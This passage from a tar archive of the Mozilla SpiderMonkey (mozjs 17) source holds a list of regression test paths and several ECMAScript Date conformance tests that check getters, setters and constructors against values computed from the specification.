js1_8/regress/regress-465308.js js1_8/regress/regress-465454.js js1_8/regress/regress-465460-01.js js1_8/regress/regress-465460-02.js js1_8/regress/regress-465460-03.js js1_8/regress/regress-465460-06.js js1_8/regress/regress-465460-07.js js1_8/regress/regress-465460-08.js js1_8/regress/regress-465460-09.js js1_8/regress/regress-465460-10.js js1_8/regress/regress-465460-11.js js1_8/regress/regress-465483.js js1_8/regress/regress-465567-01.js js1_8/regress/regress-465688.js js1_8/regress/regress-466128.js js1_8/regress/regress-466787.js js1_8/regress/regress-467495-03.js js1_8/regress/regress-467495-05.js js1_8/regress/regress-468711.js js1_8/regress/regress-469547.js js1_8/regress/regress-469625-02.js js1_8/regress/regress-469625-03.js js1_8/regress/regress-471373.js js1_8/regress/regress-471660.js js1_8/regress/regress-472450-01.js js1_8/regress/regress-472450-02.js js1_8/regress/regress-472528-01.js js1_8/regress/regress-472528-02.js js1_8/regress/regress-472703.js js1_8/regress/regress-474769.js js1_8/regress/regress-474771.js js1_8/regress/regress-474935.js js1_8/regress/regress-476655.js js1_8/regress/regress-477234.js js1_8/regress/regress-477581.js js1_8/regress/regress-478205.js js1_8/regress/regress-479353.js js1_8/regress/regress-481800.js js1_8/regress/regress-483749.js js1_8/regress/regress-499524.js js1_8/regress/regress-532491.js js1_8_1/decompilation/regress-346642-01.js js1_8_1/decompilation/regress-349605.js js1_8_1/decompilation/regress-349634.js js1_8_1/decompilation/regress-350991.js js1_8_1/decompilation/regress-351070-01.js js1_8_1/decompilation/regress-351336.js js1_8_1/decompilation/regress-351626.js js1_8_1/decompilation/regress-352011.js js1_8_1/decompilation/regress-352022.js js1_8_1/decompilation/regress-352026.js js1_8_1/decompilation/regress-352609.js js1_8_1/decompilation/regress-353249.js js1_8_1/decompilation/regress-354878.js js1_8_1/decompilation/regress-371802.js js1_8_1/decompilation/regress-373678-01.js js1_8_1/decompilation/regress-380237-03.js js1_8_1/decompilation/regress-443074.js js1_8_1/extensions/regress-352281.js js1_8_1/extensions/regress-353214-02.js js1_8_1/extensions/regress-437288-01.js js1_8_1/extensions/regress-452498-193.js js1_8_1/extensions/regress-452498-196.js js1_8_1/extensions/regress-452498-224.js js1_8_1/extensions/regress-477158.js js1_8_1/extensions/regress-477187.js js1_8_1/extensions/regress-520572.js js1_8_1/extensions/strict-warning.js js1_8_1/regress/regress-420399.js js1_8_1/regress/regress-452498-027.js js1_8_1/regress/regress-452498-038.js js1_8_1/regress/regress-452498-050.js js1_8_1/regress/regress-452498-051.js js1_8_1/regress/regress-452498-052-a.js js1_8_1/regress/regress-452498-052.js js1_8_1/regress/regress-452498-053.js js1_8_1/regress/regress-452498-054.js js1_8_1/regress/regress-452498-068.js js1_8_1/regress/regress-452498-074.js js1_8_1/regress/regress-452498-076.js js1_8_1/regress/regress-452498-077.js js1_8_1/regress/regress-452498-082.js js1_8_1/regress/regress-452498-091.js js1_8_1/regress/regress-452498-092.js js1_8_1/regress/regress-452498-098.js js1_8_1/regress/regress-452498-099-a.js js1_8_1/regress/regress-452498-099.js js1_8_1/regress/regress-452498-101.js js1_8_1/regress/regress-452498-102.js js1_8_1/regress/regress-452498-103.js js1_8_1/regress/regress-452498-107.js js1_8_1/regress/regress-452498-108.js js1_8_1/regress/regress-452498-110.js js1_8_1/regress/regress-452498-112.js js1_8_1/regress/regress-452498-114.js js1_8_1/regress/regress-452498-117.js js1_8_1/regress/regress-452498-119.js js1_8_1/regress/regress-452498-123.js js1_8_1/regress/regress-452498-129.js js1_8_1/regress/regress-452498-130.js js1_8_1/regress/regress-452498-131.js js1_8_1/regress/regress-452498-135-a.js js1_8_1/regress/regress-452498-135.js js1_8_1/regress/regress-452498-138.js js1_8_1/regress/regress-452498-139.js js1_8_1/regress/regress-452498-155.js js1_8_1/regress/regress-452498-160.js js1_8_1/regress/regress-452498-178.js js1_8_1/regress/regress-452498-185.js js1_8_1/regress/regress-452498-187.js js1_8_1/regress/regress-452498-191.js js1_8_1/regress/regress-466905-01.js js1_8_1/regress/regress-479430-01.js js1_8_1/regress/regress-479430-02.js js1_8_1/regress/regress-479430-03.js js1_8_1/regress/regress-479430-04.js js1_8_1/regress/regress-479430-05.js js1_8_1/regress/regress-495907.js js1_8_1/regress/regress-496922.js js1_8_1/regress/regress-507424.js js1_8_1/regress/regress-509354.js js1_8_1/regress/regress-515885.js js1_8_1/regress/regress-522123.js js1_8_1/regress/regress-524264.js js1_8_1/regress/regress-530879.js js1_8_1/strict/12.2.1.js js1_8_1/strict/generator-eval-arguments.js js1_8_1/strict/let-block-eval-arguments.js js1_8_1/jit/math-jit-tests.js js1_8_1/jit/testDeepBailFromNonNative.js js1_8_1/jit/jit-test.js js1_8_5/extensions/censor-strict-caller.js js1_8_5/extensions/destructure-accessor.js js1_8_5/extensions/reflect-parse.js js1_8_5/extensions/scripted-proxies.js js1_8_5/extensions/typedarray.js js1_8_5/extensions/clone-object.js js1_8_5/extensions/clone-errors.js js1_8_5/extensions/clone-typed-array.js js1_8_5/regress/regress-500528.js js1_8_5/regress/regress-533876.js js1_8_5/regress/regress-541255-0.js js1_8_5/regress/regress-541255-1.js js1_8_5/regress/regress-541255-2.js js1_8_5/regress/regress-541255-3.js js1_8_5/regress/regress-541255-4.js js1_8_5/regress/regress-546615.js js1_8_5/regress/regress-555246-0.js js1_8_5/regress/regress-560101.js js1_8_5/regress/regress-560998-1.js js1_8_5/regress/regress-566549.js js1_8_5/regress/regress-566914.js js1_8_5/regress/regress-569306.js js1_8_5/regress/regress-571014.js js1_8_5/regress/regress-577648-1.js js1_8_5/regress/regress-577648-2.js js1_8_5/regress/regress-584355.js js1_8_5/regress/regress-588339.js js1_8_5/regress/regress-592217.js js1_8_5/regress/regress-596805-2.js js1_8_5/regress/regress-597870.js js1_8_5/regress/regress-597945-1.js narcissus/../ecma/Date/15.9.5.10-2.js narcissus/../ecma/Date/15.9.5.11-2.js narcissus/../ecma/Date/15.9.5.12-2.js narcissus/../ecma/Date/15.9.5.2-2-n.js narcissus/../ecma/Date/15.9.5.23-3-n.js narcissus/../ecma/Date/15.9.5.3-1-n.js narcissus/../ecma/Date/15.9.5.4-2-n.js narcissus/../ecma/Date/15.9.5.8.js narcissus/../ecma/Date/dst-offset-caching-1-of-8.js narcissus/../ecma/Date/dst-offset-caching-2-of-8.js narcissus/../ecma/Date/dst-offset-caching-3-of-8.js narcissus/../ecma/Date/dst-offset-caching-4-of-8.js narcissus/../ecma/Date/dst-offset-caching-5-of-8.js narcissus/../ecma/Date/dst-offset-caching-6-of-8.js narcissus/../ecma/Date/dst-offset-caching-7-of-8.js narcissus/../ecma/Date/dst-offset-caching-8-of-8.js narcissus/../ecma_3/Date/15.9.5.4.js narcissus/../ecma_3/Date/regress-452786.js mozjs17.0.0/js/src/tests/ecma/0000775000175000017500000000000012106270663016053 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Date/0000775000175000017500000000000012106270663016730 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Date/15.9.5.10-7.js0000664000175000017500000000256712106270663020422 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.10.js ECMA Section: 15.9.5.10 Description: Date.prototype.getDate 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return DateFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.10"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDate()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( UTC_JAN_1_2005 ); new TestCase( SECTION, "(new Date(NaN)).getDate()", NaN, (new Date(NaN)).getDate() ); new TestCase( SECTION, "Date.prototype.getDate.length", 0, Date.prototype.getDate.length ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDate()", DateFromTime(LocalTime(d)), (new Date(d)).getDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.36-4.js0000664000175000017500000001237312106270663020423 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.36-1.js ECMA Section: 15.9.5.36 Date.prototype.setFullYear(year [, mon [, date ]] ) Description: If mon is not specified, this behaves as if mon were specified with the value getMonth( ). If date is not specified, this behaves as if date were specified with the value getDate( ). 1. Let t be the result of LocalTime(this time value); but if this time value is NaN, let t be +0. 2. Call ToNumber(year). 3. If mon is not specified, compute MonthFromTime(t); otherwise, call ToNumber(mon). 4. If date is not specified, compute DateFromTime(t); otherwise, call ToNumber(date). 5. Compute MakeDay(Result(2), Result(3), Result(4)). 6. Compute UTC(MakeDate(Result(5), TimeWithinDay(t))). 7. Set the [[Value]] property of the this value to TimeClip(Result(6)). 8. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 Added test cases for Year 2000 Compatilibity Testing. */ var SECTION = "15.9.5.36-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setFullYear(year [, mon [, date ]] )"); // 1999 addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1999);TDATE", UTCDateFromTime(SetFullYear(0,1999)), LocalDateFromTime(SetFullYear(0,1999)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1999,11);TDATE", UTCDateFromTime(SetFullYear(0,1999,11)), LocalDateFromTime(SetFullYear(0,1999,11)) ); addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(1999,11,31);TDATE", UTCDateFromTime(SetFullYear(0,1999,11,31)), LocalDateFromTime(SetFullYear(0,1999,11,31)) ); test(); function addNewTestCase( DateString, UTCDate, LocalDate) { DateCase = eval( DateString ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetFullYear( t, year, mon, date ) { var T = ( isNaN(t) ) ? 0 : LocalTime(t) ; var YEAR = Number( year ); var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon ); var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date ); var DAY = MakeDay( YEAR, MONTH, DATE ); var UTC_DATE = UTC(MakeDate( DAY, TimeWithinDay(T))); return ( TimeClip(UTC_DATE) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.21-8.js0000664000175000017500000000201512106270663020411 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.21.js ECMA Section: 15.9.5.21 Description: Date.prototype.getUTCMilliseconds 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return msFromTime(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.21"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCMilliseconds()"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "(new Date(NaN)).getUTCMilliseconds()", NaN, (new Date(NaN)).getUTCMilliseconds() ); new TestCase( SECTION, "Date.prototype.getUTCMilliseconds.length", 0, Date.prototype.getUTCMilliseconds.length ); test(); mozjs17.0.0/js/src/tests/ecma/Date/15.9.3.2-4.js0000664000175000017500000001114112106270663020322 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.3.1.js ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms) Description: The [[Prototype]] property of the newly constructed object is set to the original Date prototype object, the one that is the initial value of Date.prototype. The [[Class]] property of the newly constructed object is set as follows: 1. Call ToNumber(year) 2. Call ToNumber(month) 3. Call ToNumber(date) 4. Call ToNumber(hours) 5. Call ToNumber(minutes) 6. Call ToNumber(seconds) 7. Call ToNumber(ms) 8. If Result(1)is NaN and 0 <= ToInteger(Result(1)) <= 99, Result(8) is 1900+ToInteger(Result(1)); otherwise, Result(8) is Result(1) 9. Compute MakeDay(Result(8), Result(2), Result(3) 10. Compute MakeTime(Result(4), Result(5), Result(6), Result(7) 11. Compute MakeDate(Result(9), Result(10)) 12. Set the [[Value]] property of the newly constructed object to TimeClip(UTC(Result(11))). This tests the returned value of a newly constructed Date object. Author: christine@netscape.com Date: 7 july 1997 */ var TIME = 0; var UTC_YEAR = 1; var UTC_MONTH = 2; var UTC_DATE = 3; var UTC_DAY = 4; var UTC_HOURS = 5; var UTC_MINUTES = 6; var UTC_SECONDS = 7; var UTC_MS = 8; var YEAR = 9; var MONTH = 10; var DATE = 11; var DAY = 12; var HOURS = 13; var MINUTES = 14; var SECONDS = 15; var MS = 16; // for TCMS, the gTestcases array must be global. var SECTION = "15.9.3.1"; var TITLE = "Date( year, month, date, hours, minutes, seconds )"; writeHeaderToLog( SECTION+" " +TITLE ); var PST_FEB_29_2000 = UTC_FEB_29_2000 + 8*msPerHour; // Dates around Feb 29, 2000 addNewTestCase( new Date(2000,1,28,16,0,0,0), "new Date(2000,1,28,16,0,0,0)", [UTC_FEB_29_2000,2000,1,29,2,0,0,0,0,2000,1,28,1,16,0,0,0,0] ); addNewTestCase( new Date(2000,1,29,0,0,0,0), "new Date(2000,1,29,0,0,0,0)", [PST_FEB_29_2000,2000,1,29,2,8,0,0,0,2000,1,29,2,0,0,0,0] ); addNewTestCase( new Date(2000,1,29,24,0,0,0), "new Date(2000,1,29,24,0,0,0)", [PST_FEB_29_2000+msPerDay,2000,2,1,3,8,0,0,0,2000,2,1,3,0,0,0,0] ); test(); function addNewTestCase( DateCase, DateString, ResultArray ) { //adjust hard-coded ResultArray for tester's timezone instead of PST adjustResultArray(ResultArray); new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.12-2.js0000664000175000017500000000233712106270663020412 0ustar sstanglsstangl// |reftest| skip-if(!xulRuntime.shell&&xulRuntime.OS=="Linux"&&xulRuntime.XPCOMABI.match(/x86_64/)) -- bug xxx crash /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.12.js ECMA Section: 15.9.5.12 Description: Date.prototype.getDay 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return WeekDay(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.12"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDay()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_0000 ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDay()", WeekDay((LocalTime(d))), (new Date(d)).getDay() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.3.2-1.js0000664000175000017500000001144212106270663020323 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.3.1.js ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms) Description: The [[Prototype]] property of the newly constructed object is set to the original Date prototype object, the one that is the initial value of Date.prototype. The [[Class]] property of the newly constructed object is set as follows: 1. Call ToNumber(year) 2. Call ToNumber(month) 3. Call ToNumber(date) 4. Call ToNumber(hours) 5. Call ToNumber(minutes) 6. Call ToNumber(seconds) 7. Call ToNumber(ms) 8. If Result(1)is NaN and 0 <= ToInteger(Result(1)) <= 99, Result(8) is 1900+ToInteger(Result(1)); otherwise, Result(8) is Result(1) 9. Compute MakeDay(Result(8), Result(2), Result(3) 10. Compute MakeTime(Result(4), Result(5), Result(6), Result(7) 11. Compute MakeDate(Result(9), Result(10)) 12. Set the [[Value]] property of the newly constructed object to TimeClip(UTC(Result(11))). This tests the returned value of a newly constructed Date object. Author: christine@netscape.com Date: 7 july 1997 */ var TIME = 0; var UTC_YEAR = 1; var UTC_MONTH = 2; var UTC_DATE = 3; var UTC_DAY = 4; var UTC_HOURS = 5; var UTC_MINUTES = 6; var UTC_SECONDS = 7; var UTC_MS = 8; var YEAR = 9; var MONTH = 10; var DATE = 11; var DAY = 12; var HOURS = 13; var MINUTES = 14; var SECONDS = 15; var MS = 16; // for TCMS, the gTestcases array must be global. var SECTION = "15.9.3.1"; var TITLE = "Date( year, month, date, hours, minutes, seconds )"; writeHeaderToLog( SECTION+" " +TITLE ); // Dates around 1970 addNewTestCase( new Date( 1969,11,31,15,59,59), "new Date( 1969,11,31,15,59,59)", [-1000,1969,11,31,3,23,59,59,0,1969,11,31,3,15,59,59,0] ); addNewTestCase( new Date( 1969,11,31,16,0,0), "new Date( 1969,11,31,16,0,0)", [0,1970,0,1,4,0,0,0,0,1969,11,31,3,16,0,0,0] ); addNewTestCase( new Date( 1969,11,31,23,59,59), "new Date( 1969,11,31,23,59,59)", [28799000,1970,0,1,4,7,59,59,0,1969,11,31,3,23,59,59,0] ); addNewTestCase( new Date( 1970, 0, 1, 0, 0, 0), "new Date( 1970, 0, 1, 0, 0, 0)", [28800000,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] ); addNewTestCase( new Date( 1969,11,31,16,0,0), "new Date( 1969,11,31,16,0,0)", [0,1970,0,1,4,0,0,0,0,1969,11,31,3,16,0,0,0] ); test(); function addNewTestCase( DateCase, DateString, ResultArray ) { //adjust hard-coded ResultArray for tester's timezone instead of PST adjustResultArray(ResultArray); new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.10-5.js0000664000175000017500000000256212106270663020413 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.10.js ECMA Section: 15.9.5.10 Description: Date.prototype.getDate 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return DateFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.10"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getDate()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_2000 ); new TestCase( SECTION, "(new Date(NaN)).getDate()", NaN, (new Date(NaN)).getDate() ); new TestCase( SECTION, "Date.prototype.getDate.length", 0, Date.prototype.getDate.length ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getDate()", DateFromTime(LocalTime(d)), (new Date(d)).getDate() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.2.2-1.js0000664000175000017500000000310212106270663020314 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.2.2.js ECMA Section: 15.9.2.2 Date constructor used as a function Date( year, month, date, hours, minutes, seconds ) Description: The arguments are accepted, but are completely ignored. A string is created and returned as if by the expression (new Date()).toString(). Author: christine@netscape.com Date: 28 october 1997 Version: 9706 */ var VERSION = 9706; startTest(); var SECTION = "15.9.2.2"; var TOLERANCE = 100; var TITLE = "The Date Constructor Called as a Function"; writeHeaderToLog(SECTION+" "+TITLE ); // allow up to 1 second difference due to possibility // the date may change by 1 second in between calls to Date var d1; var d2; // Dates around 1970 d1 = new Date(); d2 = Date.parse(Date(1970,0,1,0,0,0)); new TestCase(SECTION, "Date(1970,0,1,0,0,0)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(1969,11,31,15,59,59)); new TestCase(SECTION, "Date(1969,11,31,15,59,59)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(1969,11,31,16,0,0)); new TestCase(SECTION, "Date(1969,11,31,16,0,0)", true, d2 - d1 <= 1000); d1 = new Date(); d2 = Date.parse(Date(1969,11,31,16,0,1)); new TestCase(SECTION, "Date(1969,11,31,16,0,1)", true, d2 - d1 <= 1000); test(); mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.23-6.js0000664000175000017500000000367612106270663020427 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.23-2.js ECMA Section: 15.9.5.23 Description: Date.prototype.setTime 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.23-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.setTime()"; writeHeaderToLog( SECTION + " "+ TITLE); test_times = new Array( TIME_NOW, TIME_0000, TIME_1970, TIME_1900, TIME_2000, UTC_FEB_29_2000, UTC_JAN_1_2005 ); for ( var j = 0; j < test_times.length; j++ ) { addTestCase( new Date(TIME_1900), test_times[j] ); } new TestCase( SECTION, "(new Date(NaN)).setTime()", NaN, (new Date(NaN)).setTime() ); new TestCase( SECTION, "Date.prototype.setTime.length", 1, Date.prototype.setTime.length ); test(); function addTestCase( d, t ) { new TestCase( SECTION, "( "+d+" ).setTime("+t+")", t, d.setTime(t) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+1.1)+")", TimeClip(t+1.1), d.setTime(t+1.1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+1)+")", t+1, d.setTime(t+1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t-1)+")", t-1, d.setTime(t-1) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t-TZ_ADJUST)+")", t-TZ_ADJUST, d.setTime(t-TZ_ADJUST) ); new TestCase( SECTION, "( "+d+" ).setTime("+(t+TZ_ADJUST)+")", t+TZ_ADJUST, d.setTime(t+TZ_ADJUST) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.24-7.js0000664000175000017500000000761512106270663020426 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.24-1.js ECMA Section: 15.9.5.24 